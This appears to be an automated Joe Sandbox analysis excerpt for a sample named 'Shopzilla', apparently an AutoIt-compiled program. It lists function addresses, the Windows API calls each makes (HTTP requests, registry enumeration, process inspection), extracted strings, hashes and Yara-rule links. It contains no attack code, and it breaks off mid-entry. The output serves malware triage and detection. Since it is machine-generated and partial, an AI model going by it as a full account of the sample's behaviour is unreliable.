Instruction Fuzzy Hash: 13F05833565611ABD7152B68EC9CBAF7739FF4A702F240522F603A10A1CBB66901CB60

Function 00BF932D Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BF9338
UnloadUserProfile.USERENV(?,?), ref: 00BF9344
CloseHandle.KERNEL32(?), ref: 00BF934D
CloseHandle.KERNEL32(?), ref: 00BF9355
GetProcessHeap.KERNEL32(00000000,?), ref: 00BF935E
HeapFree.KERNEL32(00000000), ref: 00BF9365

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: f522280c08921aa0cbb3da6256c166d2e6f3c51a5def5c8b0ba6cb966f475e09
Instruction ID: fc3326866d30692a2832634a46155f27df2b6e10ea593963c201d7bf8b405755
Opcode Fuzzy Hash: f522280c08921aa0cbb3da6256c166d2e6f3c51a5def5c8b0ba6cb966f475e09
Instruction Fuzzy Hash: F3E0E537014105BBDB411FE2EC1CB5EBF39FF49B22B204220F21581470CB32A460DB50

Function 00C18A9F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C18AC5
CharUpperBuffW.USER32(?,?), ref: 00C18BD4
VariantClear.OLEAUT32(?), ref: 00C18D4C

Part of subcall function 00C0798A: VariantInit.OLEAUT32(00000000), ref: 00C079CA
Part of subcall function 00C0798A: VariantCopy.OLEAUT32(00000000,?), ref: 00C079D3
Part of subcall function 00C0798A: VariantClear.OLEAUT32(00000000), ref: 00C079DF

Strings

Incorrect Parameter format, xrefs: 00C18AFD, 00C18CBF
AUTOIT.ERROR, xrefs: 00C18BDA

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: f270144d5bfc2c2e9085583902d4498f6053be1f4b087ea3eb54711f66b84a11
Instruction ID: bd99e47dec86a94665e56c421d61811eaa0f0e421581101cba4403e4429c4151
Opcode Fuzzy Hash: f270144d5bfc2c2e9085583902d4498f6053be1f4b087ea3eb54711f66b84a11
Instruction Fuzzy Hash: 8E9191716083019FC700DF24C4919ABBBF4EF8A754F14896DF8998B361DB31E989DB92

Function 00C030AA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB436A: _wcscpy.LIBCMT ref: 00BB438D

_memset.LIBCMT ref: 00C0319B
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00C031CA
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00C0327D
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00C032AB

Strings

0, xrefs: 00C03187

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: d02a53466d0817f8287bdfcadff45ae88565fa7678fb428aaf69beb29130d2cd
Instruction ID: f934e1ea6c2337b45a3dfe17cc313c7ab921c20615ff008b109bdaea5f421aa2
Opcode Fuzzy Hash: d02a53466d0817f8287bdfcadff45ae88565fa7678fb428aaf69beb29130d2cd
Instruction Fuzzy Hash: 8851AF716083819BDB25EB28D845B6BB7ECAF49750F040A2DF8A5971D2DB70CB44CB92

Function 00C2DC66 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00C187D6,?,00000000), ref: 00C2DCCE
SetErrorMode.KERNEL32(00000001,?,00000000,00000000,00000000,?,00C187D6,?,00000000,00000000), ref: 00C2DD04
GetProcAddress.KERNEL32(00000000,DllGetClassObject), ref: 00C2DD15
SetErrorMode.KERNEL32(00000000,?,00000000,00000000,00000000,?,00C187D6,?,00000000,00000000), ref: 00C2DD97

Strings

DllGetClassObject, xrefs: 00C2DD0A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 42ef443b04df6f28690f98620c1c73ad67d5f91ef6141479712d2005a61f0cdc
Instruction ID: b109d578b96012a83e29ba0ba1bb4ddec6ce79b2d53030fc42d83f37822e53c5
Opcode Fuzzy Hash: 42ef443b04df6f28690f98620c1c73ad67d5f91ef6141479712d2005a61f0cdc
Instruction Fuzzy Hash: 4841BDB6600615EFCB15DF64E888B9ABBB9EF55310F1080A9EC069F245D7B1DA40CBA0

Function 00C02D66 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C02DD3
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00C02DEF
DeleteMenu.USER32(?,00000007,00000000), ref: 00C02E35
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00C66890,00000000), ref: 00C02E7E

Strings

0, xrefs: 00C02DC8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 742dbd6defa129d7ae778f65eca49f926accecffe20d9703b3214f5e073a4768
Instruction ID: c2417eea37fb6264acc98ce879f561bfc655acafaa938eb50e97461d936e6c33
Opcode Fuzzy Hash: 742dbd6defa129d7ae778f65eca49f926accecffe20d9703b3214f5e073a4768
Instruction Fuzzy Hash: 4541AE312443419FDB24DF24C898B6AB7E8AF89311F10462DF8B5972D1D770EA05CB62

Function 00C1DC56 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00C1DC76

Part of subcall function 00BB1462: _memmove.LIBCMT ref: 00BB14B0

Strings

cdecl, xrefs: 00C1DCCD
stdcall, xrefs: 00C1DCF8
none, xrefs: 00C1DD51
winapi, xrefs: 00C1DCE7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 1336ce78cb512c6b8608623055fc4490da738d4d80db1de198618707abac727b
Instruction ID: 87c6b2452ce78105746a5fae5c40a002469ff6142e4488ce9c358726313705d7
Opcode Fuzzy Hash: 1336ce78cb512c6b8608623055fc4490da738d4d80db1de198618707abac727b
Instruction Fuzzy Hash: F531CF70910219ABCF00EF58C8519FEB3F8FF16314B508A69E836A72D1DB71EA45CB90

Function 00BF982B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00BFB57D: GetClassNameW.USER32(?,?,000000FF), ref: 00BFB5A0

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00BF98AF
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00BF98C2
SendMessageW.USER32(?,00000189,?,00000000), ref: 00BF98F2

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

Strings

ListBox, xrefs: 00BF986E
ComboBox, xrefs: 00BF9839

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: e4a75d8fb1b3333d42061807f439c236fc82a13d49c7c3ef179f49e2bbd0bc0e
Instruction ID: 877ecf1f01df89ef4074dd81946c33c44b04ba812fc5034a2ce3a41680912c79
Opcode Fuzzy Hash: e4a75d8fb1b3333d42061807f439c236fc82a13d49c7c3ef179f49e2bbd0bc0e
Instruction Fuzzy Hash: 3B210472A0010CAFDB14ABA4CC66EFFB7F8EF41350B504299F921A71E1DB7409498660

Function 00C11CDD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00C11CFC
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C11D22
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00C11D52
InternetCloseHandle.WININET(00000000), ref: 00C11D99

Part of subcall function 00C12933: GetLastError.KERNEL32(?,?,00C11CC7,00000000,00000000,00000001), ref: 00C12948
Part of subcall function 00C12933: SetEvent.KERNEL32(?,?,00C11CC7,00000000,00000000,00000001), ref: 00C1295D

Strings

, xrefs: 00C11D43

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 4c457623a59ba00791a41d0f547a0ecabf742ab29342b3b132c7b6609c2f5c23
Instruction ID: 1a1ee530e90d1b237095b3f252bc424ec12b0f62e521eab9a6897d1d7c2fc8b6
Opcode Fuzzy Hash: 4c457623a59ba00791a41d0f547a0ecabf742ab29342b3b132c7b6609c2f5c23
Instruction Fuzzy Hash: 3421C272500208BFE712AF64DC85FFF76FCEB4A744F14411AFA05A2240DB289E55ABA1

Function 00C267D4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BA214F
Part of subcall function 00BA2111: GetStockObject.GDI32(00000011), ref: 00BA2163
Part of subcall function 00BA2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BA216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00C2684E
LoadLibraryW.KERNEL32(?), ref: 00C26855
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00C2686A
DestroyWindow.USER32(?), ref: 00C26872

Strings

SysAnimate32, xrefs: 00C26829

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 49f37aed800d5b438dc9c2dbaff008df0421f1ff3c52558a38be2a980ede3757
Instruction ID: 4add74593c7414a5f961b7c93d580fb50f8401aa72ace804d6eccd097fd6c476
Opcode Fuzzy Hash: 49f37aed800d5b438dc9c2dbaff008df0421f1ff3c52558a38be2a980ede3757
Instruction Fuzzy Hash: C421BB72600219ABEF104F64EC90FBB77ADEB59328F204628FA60925D0D731CC519770

Function 00C071C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00C071E4
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00C07217
GetStdHandle.KERNEL32(0000000C), ref: 00C07229
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00C07263

Strings

nul, xrefs: 00C0725E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: f9c4db09c1c616ac4e82414edba2c415eba3cc748d53a1ceb32fd0d22cf82065
Instruction ID: 8987e6537d26328266c9e293684d249462ee7dbcb1d3cc878a82e009038fa7e5
Opcode Fuzzy Hash: f9c4db09c1c616ac4e82414edba2c415eba3cc748d53a1ceb32fd0d22cf82065
Instruction Fuzzy Hash: AF219071A08206EBDB249F29DC04B9E7BA4AF45720F204B19FCB4D72D0DB70A950CB50

Function 00C07292 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00C072B1
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00C072E3
GetStdHandle.KERNEL32(000000F6), ref: 00C072F4
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00C0732E

Strings

nul, xrefs: 00C07329

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 41bed5874037569792fa24a42ae9064420cbba11db75e552e70f727f5efa4a8e
Instruction ID: ad2be8a692651e839c0daab82fcc215f8dc9e23f93de4d928d4843e8111f1c52
Opcode Fuzzy Hash: 41bed5874037569792fa24a42ae9064420cbba11db75e552e70f727f5efa4a8e
Instruction Fuzzy Hash: A7219071A08205DBDB249F698C05B9A77A8AF55730F300B19FCB0E32D0DB70A950CB51

Function 00C0B0F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C0B104
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00C0B158
__swprintf.LIBCMT ref: 00C0B171
SetErrorMode.KERNEL32(00000000,00000001,00000000,00C30980), ref: 00C0B1AF

Strings

%lu, xrefs: 00C0B16B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: f79f0530e889c57bea4bf031bc43ad494f15a9758a770440866668ad7229b3ad
Instruction ID: 4c827f5cd7e943cda4a261fa5c952899567a0b9852264062ed9200e55064719c
Opcode Fuzzy Hash: f79f0530e889c57bea4bf031bc43ad494f15a9758a770440866668ad7229b3ad
Instruction Fuzzy Hash: 29217175A00108AFCB10DF64C995EAEB7F8FF89704B1080A9F909D7252DB72EE45CB61

Function 00BFA9E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

Part of subcall function 00BFA835: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00BFA852
Part of subcall function 00BFA835: GetWindowThreadProcessId.USER32(?,00000000), ref: 00BFA865
Part of subcall function 00BFA835: GetCurrentThreadId.KERNEL32 ref: 00BFA86C
Part of subcall function 00BFA835: AttachThreadInput.USER32(00000000), ref: 00BFA873

GetFocus.USER32 ref: 00BFAA0D

Part of subcall function 00BFA87E: GetParent.USER32(?), ref: 00BFA88C

GetClassNameW.USER32(?,?,00000100), ref: 00BFAA56
EnumChildWindows.USER32(?,00BFAACE), ref: 00BFAA7E
__swprintf.LIBCMT ref: 00BFAA98

Strings

%s%d, xrefs: 00BFAA92

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 7569f159aa1981f7bece034bd4e3cba1ef216e89e963b416f8bcc64765e30044
Instruction ID: c3a23a7c4c1ea4da26eb3dbc7c56d0f47d4326e502b1c5dc6f70d14b0fc06783
Opcode Fuzzy Hash: 7569f159aa1981f7bece034bd4e3cba1ef216e89e963b416f8bcc64765e30044
Instruction Fuzzy Hash: 111163B1500309ABDF15BFA48D96FFA37BCAB44700F1040A9BE0CAB152DA705959CB71

Function 00C02153 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C02184

Strings

REMOVE, xrefs: 00C0218A
EXISTS, xrefs: 00C021AC
APPEND, xrefs: 00C021BD
KEYS, xrefs: 00C0219B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 5b65744c47becfac51b71c65d00639cf0ec0e528ad2199bd3d4c9e81df70cd28
Instruction ID: f08287f46569558f3bd070909f87dc3150ecc65e9d984e5b3c7cbd2526ed63e8
Opcode Fuzzy Hash: 5b65744c47becfac51b71c65d00639cf0ec0e528ad2199bd3d4c9e81df70cd28
Instruction Fuzzy Hash: 0511A174910108CFCF04EFA4C851AFEB7B4FF65304B9085A8ED6597292EB329D5ACB40

Function 00C1F006 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00C1F0B8
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00C1F0E8
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00C1F21B
CloseHandle.KERNEL32(?), ref: 00C1F29C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 535ed1050c421d344a7139bbc205d31cfc86d6b6039c07ae6b719166cfddb79d
Instruction ID: 6d4410ea3c4d19cb8a4c68f0d742cb3b58810c647c195da5fd3a18be40f739f3
Opcode Fuzzy Hash: 535ed1050c421d344a7139bbc205d31cfc86d6b6039c07ae6b719166cfddb79d
Instruction Fuzzy Hash: 6B81B0716143009FD720EF28D882F6AB7E5AF89710F14886DF999DB392D7B0AD418B91

Function 00C2045F Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00C21242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C201D5,?,?), ref: 00C21259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C20525
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C20564
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00C205AB
RegCloseKey.ADVAPI32(?,?), ref: 00C205D7
RegCloseKey.ADVAPI32(00000000), ref: 00C205E4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 368fd90eedfd105f6e7cf4481dbb639030f252f6e950ad9afae54f414a62fc57
